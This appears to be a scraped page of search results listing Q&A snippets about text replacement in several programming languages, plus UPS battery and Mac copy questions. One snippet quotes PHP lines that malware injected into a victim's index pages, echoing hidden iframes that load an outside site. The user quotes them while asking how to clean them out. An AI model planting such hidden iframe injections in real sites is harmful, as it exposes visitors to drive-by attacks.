Search Results

Search found 7529 results on 302 pages for 'replace'.

Page 3/302 | < Previous Page | 1 2 3 4 5 6 7 8 9 10 11 12  | Next Page >

  • javascript replace i into I

    - by Eric Sim
    I need a javascript to replace i into I. This should apply to cases such as i'm good. So am i. He though i love him. The standard ThisContent = ThisContent.replace("i", "I"); doesn't work because it replaces every i. I also thought of ThisContent = ThisContent.replace(" i ", " I "); but it doesn't work for the first and second case. Any idea?

    Read the article

  • Prototype problem with replace

    - by xain
    Hi, in my html page, I have the following: <div id="rub"> Select at least one Rub </div> In the script code, I have if ( some condition ... ) $('rub').replace("Rubs selected:"); Which works fine, but when a second event is triggered, in the code I have if ( some other condition ... ) $('rub').replace("Selected at least one item:"); That gives the error $("rub") is null It's as if the rub reference was lost after the first replace. (Also tried with Element.replace with the same result) Any clues ? Thanks in advance.

    Read the article

  • Cannot get variable.replace working properly.

    - by chrissygormley
    Hello, I am trying to replace a string with a new string in a python file and write the new string permanently to it. When I run the below script it removes part of the string and not all of it. The string in the file is: self.id = "027FC8EBC2D1" And the script I have to replace the string is: def edit(): o = open("test.py","r+") #open for line in open("test.py"): line = line.replace("027FC8EBC2D1","NewValue") o.write(line) o.close() edit() Thanks for any help.

    Read the article

  • APC UPS replace battery light and apcupsd reporting "replace battery"

    - by mgjk
    We have an APC Smart UPS 1500. The "Replace Battery" light is on, and apcupsd reports: Emergency! Batteries have failed on UPS xxxx. Change them NOW However, from this article, http://sturgeon.apcc.com/kbasewb2.nsf/for+external/f39c4312fcaf7b948525679a005ebb78?OpenDocument it seems that it's not so clear that the UPS battery needs to be replaced. Stranger, according to the information on the UPS, an 11 minute runtime at 42.9% load running at 27.7V isn't so bad. Any thoughts about what to try next? We're a non-profit, money is an object. It would be a shame to replace a battery with a year or so left in it. # apcaccess status APC : 001,041,1017 DATE : Thu Mar 29 13:01:41 EDT 2012 HOSTNAME : oreilly2 VERSION : 3.14.6 (16 May 2009) debian UPSNAME : xxxx CABLE : Custom Cable Smart MODEL : Smart-UPS 1500 UPSMODE : Stand Alone STARTTIME: Thu Mar 29 12:57:30 EDT 2012 STATUS : ONLINE LINEV : 112.3 Volts LOADPCT : 42.9 Percent Load Capacity BCHARGE : 100.0 Percent TIMELEFT : 11.0 Minutes MBATTCHG : 5 Percent MINTIMEL : 3 Minutes MAXTIME : 0 Seconds OUTPUTV : 112.3 Volts SENSE : High DWAKE : -01 Seconds DSHUTD : 090 Seconds LOTRANS : 106.0 Volts HITRANS : 127.0 Volts RETPCT : 000.0 Percent ITEMP : 23.8 C Internal ALARMDEL : Always BATTV : 27.7 Volts LINEFREQ : 60.0 Hz LASTXFER : No transfers since turnon NUMXFERS : 0 TONBATT : 0 seconds CUMONBATT: 0 seconds XOFFBATT : N/A SELFTEST : NO STATFLAG : 0x07000008 Status Flag SERIALNO : AS0603298896 BATTDATE : 2006-01-14 NOMOUTV : 120 Volts NOMBATTV : 24.0 Volts FIRMWARE : 601.3.D USB FW:1.5 APCMODEL : Smart-UPS 1500 END APC : Thu Mar 29 13:02:12 EDT 2012 Error when running upstest You are using a SMART cable type, so I'm entering SMART test mode mode.type = USB_UPS Setting up the port ... Hello, this is the apcupsd Cable Test program. This part of apctest is for testing Smart UPSes. Please select the function you want to perform. 1) Query the UPS for all known values 2) Perform a Battery Runtime Calibration 3) Abort Battery Calibration 4) Monitor Battery Calibration progress 5) Program EEPROM 6) Enter TTY mode communicating with UPS 7) Quit Select function number: 2 First ensure that we have a good link and that the UPS is functionning normally. Simulating UPSlinkCheck ... YWrote: Y Got: getline failed. Apparently the link is not up. Giving up.

    Read the article

  • Replace without the replace function

    - by Molly Potter
    Assignment: Let X and Y be two words. Find/Replace is a common word processing operation that finds each occurrence of word X and replaces it with word Y in a given document. Your task is to write a program that performs the Find/Replace operation. Your program will prompt the user for the word to be replaced (X), then the substitute word (Y ). Assume that the input document is named input.txt. You must write the result of this Find/Replace operation to a file named output.txt. Lastly, you cannot use the replace() string function built into Python (it would make the assignment much too easy). To test your code, you should modify input.txt using a text editor such as Notepad or IDLE to contain different lines of text. Again, the output of your code must look exactly like the sample output. This is my code: input_data = open('input.txt','r') #this opens the file to read it. output_data = open('output.txt','w') #this opens a file to write to. userStr= (raw_input('Enter the word to be replaced:')) #this prompts the user for a word userReplace =(raw_input('What should I replace all occurences of ' + userStr + ' with?')) #this prompts the user for the replacement word for line in input_data: words = line.split() if userStr in words: output_data.write(line + userReplace) else: output_data.write(line) print 'All occurences of '+userStr+' in input.txt have been replaced by '+userReplace+' in output.txt' #this tells the user that we have replaced the words they gave us input_data.close() #this closes the documents we opened before output_data.close() It won't replace anything in the output file. Help!

    Read the article

  • Search for index.php and index.html and replace string

    - by Jonas
    Hello. I recently had some sort of Malware on my computer that added to all index.php and index.html ON THE WEBSERVER! the following string(s): echo "<iframe src=\"http://fabujob.com/?click=AD4A4\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; echo "<iframe src=\"http://fabujob.com/?click=AC785\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; So the parameter after "click=" always changes. These two were only examples. Is there a way to do that quick and fast? . . EDIT: It is on my webserver, so no use of find...

    Read the article

  • UNIX command for replace files

    - by all-R
    Hi, on Mac, you know there is no 'merge files' when you command+c/command+v some folder on another one, it actually replaces it. I'm simply wondering on what UNIX is this based? Because correct me if I'm wrong, but "cp - R" DOES merge files, no? And that's what I'm doing via the Finder, copying some files and folders... thanks!

    Read the article

  • MySQL/Apache: Replace spaces with underscores only in certain URLs

    - by javipas
    I'm having a problem with some images I'm using on my WordPress blog. After a migration I renamed every image replacing spaces with underscores, so HIDDEN_264_4062_FOTO_IDF los MID.jpg was renamed to HIDDEN_264_4062_FOTO_IDF_los_MID.jpg But althought the trick was necessary and worked for most of the posts, some of them try to find the old image, with spaces: This is not found http://www.example.com/files/HIDDEN_264_4062_FOTO_IDF%20los%20MID.jpg and this should be the right URL http://www.example.com/files/HIDDEN_264_4062_FOTO_IDF_los_MID.jpg Careful, though, 'cause the "%20" is only shown on the browser: the text on the database shows spaces, not "%20". I'd like to know if maybe I could make a SQL query in my WordPress MySQL database that replaces spaces in .jpg files with underscores. The path of the images is always the same, so the rule should transform this: /files/HIDDEN_264_4062_FOTO_IDF los MID.jpg /files/HIDDEN_264_4062_FOTO_IDF_los_MID.jpg the "/files/HIDDEN_264_" part is always the same, but the rest varies. Is some way to perform this? Maybe a rewrite rule on Apache (our current webserver)?

    Read the article

  • mac replace, what is the unix command?

    - by all-R
    Hi, on Mac, you know there is no 'merge files' when you ctrl+c/ctrl+v some folder on another one, it actually replaces it. I'm simply wondering on what UNIX is this based? because correct me if I'm wrong, but "cp - R" DOES merge files, no? And that's what I'm doing via the Finder, copying some files and folders... thanks!

    Read the article

  • Is there a way to pass another parameter in the preg_replace_callback callback function?

    - by DaNieL
    mmmh guys, i really hope my english is good enaught to explain what i need. Lets take this example (that is just an example!) of code: class Something(){ public function Lower($string){ return strtolower($string); } } class Foo{ public $something; public $reg; public $string; public function __construct($reg, $string, $something){ $this->something = $something; $this->reg = $reg; $this->string = $string; } public function Replace(){ return preg_replace_callback($this->reg, 'Foo::Bar', $this->string); } public static function Bar($matches){ /* * [...] * do something with $matches and create the $output variable * [...] */ /* * I know is really useless in this example, but i need to have an istance to an object here * (in this example, the Something object, but can be something else!) */ return $this->something->Lower($output); } } $s = new Something(); $foo = new Foo($myregexp, $mystring, $s); $content = $foo->Replace(); So, the php manual say that to use a class method as callback in preg_replace_callback(), the method must be abstract. I need to pass an instance of a previuosly initialized object (in the example, an instance of the Something class) at the callback function. I tryed to use call_user_func(), but doesnt work (becose in this way i miss the matches parameter). Is there a way to do that, or have i to separate the process (doing before preg_match_all, for each match retrieve the replace value, and then a simple preg_replace)?

    Read the article

  • Python refuses text.replace() in one environment

    - by gx
    Hi fellow programmers, I've been mocking about with the following bit of dirty support-code for a pylons app, which works fine in a python-shell, a separate python file, or when running in paster. Now, we've put the application on-line through mod_wsgi and apache and this specific piece of code stopped working completely. First off, the code itself: def fixStyle(self, text): t = text.replace('<p>', '<p style="%s">' % (STYLEDEF,)) t = t.replace('class="wide"', 'style="width: 125px; %s"' % (DEFSTYLE,)) t = t.replace('<td>', '<td style="%s">' % (STYLEDEF,)) t = t.replace('<a ', '<a style="%s" ' % (LINKSTYLE,)) return t It seems pretty straightforward, and to be honest, it is. So what happens when I put a piece of text in it, for example: <table><tr><td>Test!</td></tr></table> The output should be: <table><tr><td style="stuff-from-styledef">Test!</td></tr></table> and it is, on most systems. When we put it through the app on Apache/mod_wsgi though, the following happens: <table><tr><td>Test!</td></tr></table> You guessed it. I'm currently at a loss and have no idea where to go next. Googling doesn't really work out, so I'm hoping on you guys to help out and perhaps point out a fundamental issue with using whatever-is-causing-this. If anything is missing I'll edit it in.

    Read the article

  • Regex - find and replace complete string occurrences only (not partial matches)

    - by vittore
    I'm not very good at regex but maybe there's a simple way to achieve this task. I'm given a string like "bla @a bla @a1 bla" I'm also given pairs like {"a", "a2"} , {"a1", "a13"}, and I need to replace @a with @a2 for the first pair, and @a1 with @a13 for the second one. The problem is when i use String.Replace and look for @a, it also replaces @a1 but it should not. I need it to completely match @a and avoid partially matching it in other places. Note: the given string could also be brackets, commas, dots and so on. However, pairs will always be [a-z]*[0-9]+ Help me with regex replace, please. Cheers

    Read the article

  • Need help modifying my Custom Replace code based on string passed to it

    - by fraXis
    Hello, I have a C# program that will open a text file, parse it for certain criteria using a RegEx statement, and then write a new text file with the changed criteria. For example: I have a text file with a bunch of machine codes in it such as: X0.109Y0Z1.G0H2E1 My C# program will take this and turn it into: X0.109Y0G54G0T3 G43Z1.H2M08 (Note: the T3 value is really the H value (H2 in this case) + 1). T = H + 1 It works great, because the line usually always starts with X so the RegEx statement always matches. My RegEx that works with my first example is as follows: //Regex pattern for: //- X(value)Y(value)Z(value)G(value)H(value)E(value) //- X(value)Y(value)Z(value)G(value)H(value)E(value)M(value) //- X(value)Y(value)Z(value)G(value)H(value)E(value)A(value) //- X(value)Y(value)Z(value)G(value)H(value)E(value)M(value)A(value) //value can be positive or negative, integer or floating point number with multiple decimal places or without any private Regex regReal = new Regex("^(X([-]|[.]|[-.]|[0-9])[0-9]*[.]*[0-9]*){1}(Y([-]|[.]|[-.]|[0-9])[0-9]*[.]*[0-9]*){1}(Z([-]|[.]|[-.]|[0-9])[0-9]*[.]*[0-9]*){1}(G([-]|[.]|[-.]|[0-9])[0-9]*[.]*[0-9]*){1}(H([-]|[.]|[-.]|[0-9])[0-9]*[.]*[0-9]*){1}(E([-]|[.]|[-.]|[0-9])[0-9]*[.]*[0-9]*){1}(M([-]|[.]|[-.]|[0-9])[0-9]*[.]*[0-9]*)?(A([-]|[.]|[-.]|[0-9])[0-9]*[.]*[0-9]*)?$"); This RegEx works great because sometimes the line of code could also have an M or A at the end such as: X0.109Y0Z1.G0H2E1A2 My problem is now I have run into some lines of code that have this: G90G0X1.5Y-0.036E1Z3.H1 and I need to turn it into this: G90G0X1.5Y-0.036G54T2 G43Z3.H1M08 Can someone please modify my RegEx and code to turn this: G90G0X1.5Y-0.036E1Z3.H1 into: G90G0X1.5Y-0.036G54T2 G43Z3.H1M08 But sometimes the values could be a little different such as: G(value)G(value)X(value)Y(value)E(value)Z(value)H(value) G(value)G(value)X(value)Y(value)E(value)Z(value)H(value)A(value) G(value)G(value)X(value)Y(value)E(value)Z(value)H(value)A(value)(M)value G(value)G(value)X(value)Y(value)E(value)Z(value)H(value)M(value)(A)value But also (this is where Z is moved to a different spot) G(value)G(value)X(value)Y(value)Z(value)E(value)H(value) G(value)G(value)X(value)Y(value)Z(value)E(value)H(value)A(value) G(value)G(value)X(value)Y(value)Z(value)E(value)H(value)A(value)(M)value G(value)G(value)X(value)Y(value)Z(value)E(value)H(value)M(value)(A)value Here is my code that needs to be changed (I did not include the open and saving of the text file since that is pretty standard stuff). //Regex pattern for: //- X(value)Y(value)Z(value)G(value)H(value)E(value) //- X(value)Y(value)Z(value)G(value)H(value)E(value)M(value) //- X(value)Y(value)Z(value)G(value)H(value)E(value)A(value) //- X(value)Y(value)Z(value)G(value)H(value)E(value)M(value)A(value) //value can be pozitive or negative, integer or floating point number with multiple decimal places or without any private Regex regReal = new Regex("^(X([-]|[.]|[-.]|[0-9])[0-9]*[.]*[0-9]*){1}(Y([-]|[.]|[-.]|[0-9])[0-9]*[.]*[0-9]*){1}(Z([-]|[.]|[-.]|[0-9])[0-9]*[.]*[0-9]*){1}(G([-]|[.]|[-.]|[0-9])[0-9]*[.]*[0-9]*){1}(H([-]|[.]|[-.]|[0-9])[0-9]*[.]*[0-9]*){1}(E([-]|[.]|[-.]|[0-9])[0-9]*[.]*[0-9]*){1}(M([-]|[.]|[-.]|[0-9])[0-9]*[.]*[0-9]*)?(A([-]|[.]|[-.]|[0-9])[0-9]*[.]*[0-9]*)?$"); private string CheckAndModifyLine(string line) { if (regReal.IsMatch(line)) //Check the first Regex with line string { return CustomReplace(line); } else { return line; } } private string CustomReplace(string input) { string returnValue = String.Empty; int zPos = input.IndexOf("Z"); int gPos = input.IndexOf("G"); int hPos = input.IndexOf("H"); int ePos = input.IndexOf("E"); int aPos = input.IndexOf("A"); int hValue = Int32.Parse(input.Substring(hPos + 1, ePos - hPos - 1)) + 1; //get H number //remove A value returnValue = ((aPos == -1) ? input : input.Substring(0, aPos)); //replace Z value returnValue = Regex.Replace(returnValue, "Z[-]?\\d*\\.*\\d*", "G54"); //replace H value returnValue = Regex.Replace(returnValue, "H\\d*\\.*\\d*", "T" + hValue.ToString() + ((aPos == -1) ? String.Empty : input.Substring(aPos, input.Length - aPos))); //replace E, or E and M value returnValue = Regex.Replace(returnValue, "E\\d*\\.*\\d(M\\d*\\.*\\d)?", Environment.NewLine + "G43" + input.Substring(zPos, gPos - zPos) + input.Substring(hPos, ePos - hPos) + "M08"); return returnValue; } I tried to modify the above code to match the new line of text I am encountering (and split into two lines like my first example) but I am failing miserably. Thanks so much.

    Read the article

  • String replace in C#

    - by ile
    I'd like to use this method to create user-friendly URL. Because my site is in Croatian, there are characters that I wouldn't like to strip but replace them with another. Fore example, this string: ŠÐCŽ šdccž needs to be: sdccz-sdccz So, I would like to make two arrays, one that will contain characters that are to be replaced and other array with replacement characters: string[] character = { "Š", "Ð", "C", "C", "Ž", "š", "d", "c", "c", "ž" }; string[] characterReplace = { "s", "d", "c", "c", "z", "s", "d", "c", "c", "z" }; Finally, this two arrays should be use in some method that will take string, find matches and replace them. In php I used preg_replace function to deal with this. In C# this doesn't work: s = Regex.Replace(s, character, characterReplace); Would appreciate if someone could help. Thanks

    Read the article

  • string replace in file using C

    - by Hristo
    I haven't yet implemented this, I'm still in the thinking stage, but I have to go through a file and replace a certain string with another string. For example, <img src="/images/logo.gif" ... should become <img src="/proxy/www.example.com/images/logo.gif" ... Any advice on how I can approach this? Perhaps there exist some "string replace" C functions that would do this for me that I don't know about...? Right now, if I had to write this function myself, I would give it as parameters the file, string to replace, replacement string. Then I would manually go through the file and look for an occurrence of the string and recreate it. This, however, seems very inefficient. Are there better ways to do this? Thanks, Hristo

    Read the article

  • javascript replace div tags for p tags where it has no class

    - by Tom
    I would like to replace div tags for p tags but only when the div tag does not have a class. So this: <div class="myDiv"> <div>sdfglkhj sdfgkhl sdfkhgl sdf</div> <div>dsf osdfghjksdfg hsdfg</div> </div> Would become: <div class="myDiv"> <p>sdfglkhj sdfgkhl sdfkhgl sdf</p> <p>dsf osdfghjksdfg hsdfg</p> </div> I've tried .replace("<div>", "<p>").replace("</div>","</p>") but this replaces the closing tag of the one with a class.

    Read the article

  • PowerShell Script to Find and Replace for all Files with a Specific Extension

    - by Brandon
    I have several configuration files on Windows Server 2008 nested like such: C:\Projects\Project_1\project1.config C:\Projects\Project_2\project2.config In my configuration I need to do a string replace like such: <add key="Environment" value="Dev"/> will become: <add key="Environment" value="Demo"/> I thought about using batch scripting, but there was no good way to do this, and I heard that with PowerShell scripting you can easily perform this. I have found examples of find/replace, but I was hoping for a way that would traverse all folders within my C:\Projects directory and find any files that end with the '.config' extension. When it finds one, I want it to replace my string values. Any good resources to find out how to do this or any PowerShell gurus that can offer some insight?

    Read the article

  • Smiley Replace within CDATA of an HTML-String

    - by michaelm
    Hello, i have got a simple problem :( I need to replace text smilies with the according smiley-image. ok.. thats not really complex, but now i have to replace only smilie appereances outside of HTML Tags. short examplae: Text: Thats a good example :/ .. with a <a href="http://www.foobar.com">link</a> inside. i want to replace ":/" with the image of this smiley... ok, how to do that the best way?

    Read the article

  • Find&Replace using Python - Binary file

    - by Aaron Hoffman
    Hello, I'm attempting to do a "find and replace" in a file on a Mac OS X computer. Although it appears to work correctly. It seems that the file is somehow altered. The text editor that I use (Text Wrangler) is unable to even open the file once this is completed. Here is the code as I have it: import fileinput for line in fileinput.FileInput("testfile.txt",inplace=1): line = line.replace("newhost",host) print line, When I view the file from the terminal, it does say "testfile" may be a binary file. See it anyway? Is there a chance that this replace is corrupting the file? Do I have another option for this to work? I really appreciate the help. Thank you, Aaron UPDATE: the actual file is NOT a .txt file it is a .plist file which is preference file in Mac OS X if that makes any difference

    Read the article

  • Replace several tags from a text js

    - by Blanca
    Hi! I have this pice of text I would like to change: [¿Cómo se procede cuando la mujer o pareja de un < bfallecido< /b pide la congelación del semen] So I would like to remove ], [ and < b< /b Is there any way to change it everything in the same time?? I tried: function replaceThings(){ jQuery(".summary").each(function(){ var t = jQuery(this).text(); jQuery(this).text(t.replace(/& lt;/g, '')); jQuery(this).text(t.replace('[', '')); jQuery(this).text(t.replace(']', '')); }); But only replaces ]. Thanks in advance

    Read the article

  • python: find and replace numbers < 1 in text file

    - by hjp
    I'm pretty new to Python programming and would appreciate some help to a problem I have... Basically I have multiple text files which contain velocity values as such: 0.259515E+03 0.235095E+03 0.208262E+03 0.230223E+03 0.267333E+03 0.217889E+03 0.156233E+03 0.144876E+03 0.136187E+03 0.137865E+00 etc for many lines... What I need to do is convert all the values in the text file that are less than 1 (e.g. 0.137865E+00 above) to an arbitrary value of 0.100000E+01. While it seems pretty simple to replace specific values with the 'replace()' method and a while loop, how do you do this if you want to replace a range? thanks

    Read the article

  • Smart auto detect and replace URLs with anchor tags

    - by Robert Koritnik
    I've written a regular expression that automatically detects URLs in free text that users enter. This is not such a simple task as it may seem at first. Jeff Atwood writes about it in his post. His regular expression works, but needs extra code after detection is done. I've managed to write a regular expression that does everything in a single go. This is how it looks like (I've broken it down into separate lines to make it more understandable what it does): 1 (?<outer>\()? 2 (?<scheme>http(?<secure>s)?://)? 3 (?<url> 4 (?(scheme) 5 (?:www\.)? 6 | 7 www\. 8 ) 9 [a-z0-9] 10 (?(outer) 11 [-a-z0-9/+&@#/%?=~_()|!:,.;cšžcd]+(?=\)) 12 | 13 [-a-z0-9/+&@#/%?=~_()|!:,.;cšžcd]+ 14 ) 15 ) 16 (?<ending>(?(outer)\))) As you may see, I'm using named capture groups (used later in Regex.Replace()) and I've also included some local characters (cšžcd), that allow our localised URL to be parsed as well. You can easily omit them if you'd like. Anyway. Here's what it does (referring to line numbers): 1 - detects if URL starts with open braces (is contained inside braces) and stores it in "outer" named capture group 2 - checks if it starts with URL scheme also detecting whether scheme is SSL or not 3 - starts parsing URL itself (will store it in "url" named capture group) 4-8 - if statement that says: if "sheme" was present then www. part is optional, otherwise mandatory for a string to be a link (so this regular expression detects all strings that start with either http or www) 9 - first character after http:// or www. should be either a letter or a number (this can be extended if you would like to cover even more links, but I've decided to omit other characters because I can't remember a link that would start with some other character 10-14 - if statement that says: if "outer" (braces) was present capture everything up to the last closing braces otherwise capture all 15 - closes the named capture group for URL 16 - if open braces was present, capture closing braces as well and store it in "ending" named capture group First and last line used to have \s* in them as well, so user could also write open braces and put a space inside before pasting link. Anyway. My code that does link replacement with actual anchor HTML elements looks exactly like this: value = Regex.Replace( value, @"(?<outer>\()?(?<scheme>http(?<secure>s)?://)?(?<url>(?(scheme)(?:www\.)?|www\.)[a-z0-9](?(outer)[-a-z0-9/+&@#/%?=~_()|!:,.;cšžcd]+(?=\))|[-a-z0-9/+&@#/%?=~_()|!:,.;cšžcd]+))(?<ending>(?(outer)\)))", "${outer}<a href=\"http${secure}://${url}\">http${secure}://${url}</a>${ending}", RegexOptions.Compiled | RegexOptions.CultureInvariant | RegexOptions.IgnoreCase); As you can see I'm using named capture groups to replace link with an Anchor tag: ${outer}<a href=\"http${secure}://${url}\">http${secure}://${url}</a>${ending} I could as well omit the http(s) part in anchor display to make links look friendlier, but for now I decided not to. Question I would like for my links to be replaced with shortenings as well. So when user copies a very long links (for instance if they would copy a link from google maps that usually generates long links I would like to shorten the visible part of the anchor tag. Link would work, but visible part of an anchor tag would be shortened to some number of characters. Does the replace string support notations like that so I can stil use a singe Regex.Replace() call?

    Read the article

  • How do I find and replace 'whole words only', in Microsoft Word?

    - by user277816
    I want to be able to find and replace eat with Eat in Microsoft Word 2007. However, I don’t want to replace every occurrence of eat such as those that can be found inside other words such as great and meat. I have tried doing this using the regular Find and Replace tool, but I get words with capital letters in the middle. Is there a way I can just replace eat with Eat if it only exists on its own?

    Read the article

  • Regex.Replace only replaces start of string

    - by Yannick Smits
    I'm trying to replace a friendly url pattern with a html url notation but due to lack of regex experience I can't figure out why my regex only replaces the first occurence of my pattern: string text = "[Hotel Des Terrasses \http://flash-hotel.fr/] and [Du Phare \http://www.activehotels.com/hotel/]"; text = Regex.Replace(text, @"\[(.+)\s*\\(.+)\]", "<a href=\"$2\" target=\"_blank\">$1</a>"); How can i make the second pattern be replaced with the HTML markup too?

    Read the article

  • .NET string replace russian to english

    - by Fabio Beoni
    I have a strange problem replacing chars in string... I read a .txt file containing russian text, and starting from a list of letters russian to english (ru=en), I loop the list and I WOULD like to replace russian characters with english characters. The problem is: I can see in the debug the right reading of the russian and the right reading of the english, but using myWord = myWord.Replace(ruChar, enChar), the string is not replaced. My txt file is a UTF-8 encoding.

    Read the article

< Previous Page | 1 2 3 4 5 6 7 8 9 10 11 12  | Next Page >